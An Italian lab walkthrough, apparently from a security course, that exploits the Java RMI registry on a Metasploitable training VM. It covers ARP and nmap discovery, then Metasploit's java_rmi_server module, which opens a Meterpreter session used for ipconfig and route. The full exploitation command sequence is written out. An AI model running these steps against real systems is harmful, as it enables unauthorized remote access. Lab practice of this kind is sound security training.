Per prima cosa ho fatto una scansione ARP sulla rete locale con il comando “sudo arp-scan -l”. Il comando mi restituisce l’indirizzo IP e MAC della Metasploitable e mi conferma che è connessa alla rete.

Con il comando “nmap -p 1099 192.168.50.101” faccio una scansione della porta 1099 sulla Metasploitable per accertarmi che la porta sia aperta e che il servizio sia attivo. Notiamo che la porta è aperta ed il servizio in esecuzione su quella porta è “rmiregistry”

Ci spostiamo su msfconsole e lanciamo il comando “search rmiregistry”.

Troviamo il modulo “exploit/multi/misc/java_rmi_server” e lo selezioniamo per l’esecuzione con “use 0”.

Con il comando “options” visualizziamo le opzioni configurabili del modulo selezionato e con “set RHOSTS 192.168.50.101” configuriamo l’indirizzo IP target che desideriamo colpire con l’exploit. In questo il target è la nostra Metasploitable.

Con “run” facciamo partire l’exploit.

Se l’attacco va a buon fine come nel nostro caso, otterremo una sessione Meterpreter sulla macchina vittima.

Una volta nella sessione Meterpreter usiamo il comando “ipconfig” per visualizzare la configurazione di rete e il comando “route” per ottenere la tabella di routing della nostra macchina vittima (Metasploitable).